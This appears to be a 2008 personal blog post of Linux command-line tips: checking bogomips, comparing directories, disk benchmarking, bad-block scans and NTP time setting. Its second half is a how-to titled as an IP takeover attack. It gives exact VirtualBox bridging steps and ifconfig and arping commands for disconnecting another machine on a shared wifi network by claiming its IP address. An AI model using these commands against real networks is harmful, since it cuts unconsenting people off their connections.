Saturday, October 18, 2008

Linux Stuff

Linux tips and tricks

- check the cpus bogomips :
$ cat /proc/cpuinfo | grep bogomips

- compare directory tree :
$ diff -r --brief /mnt/old /mnt/new

- copy file from directory tree, recreating the tree :
$ find ./ -name [makefile] | cpio -pdmv [/path/to/be/copied/to]

- HDD speed benchmarking :
/sbin/hdparm -tTf /dev/hda

- Scan the disk for bad blocks : unmount the partition (remount as readonly if necesary)
# fsck.ext3 -c -c -v -y /dev/sdb1

Set time from ntp setver :
# ntpdate -u -b -v time.nist.gov



Ip takeover attack with arping

Disable the network of any machine from windows via wifi

1. First Install VirtualBox
2. Install linux distro of choise in the virtual box as long as it has arping (ubuntu)
3. Switch virtualbox network adapter into Host Interface mode
4. In windows Network Connections select VirtualBox Host Interface 1 and Wireless Network Connection, right click and choose bridge
5. In the linux that is running in virtualbox change the ip address to the attacked machine ip address and ping it with arping :

sudo ifconfig eth0 192.168.0.10 netmask 255.255.255.0
sudo arping -U -c 3 -I eth0 192.168.0.10
sudo arping -A -c 3 -I eth0 192.168.0.10


The attacked machine network should be disconnected !!!

No comments: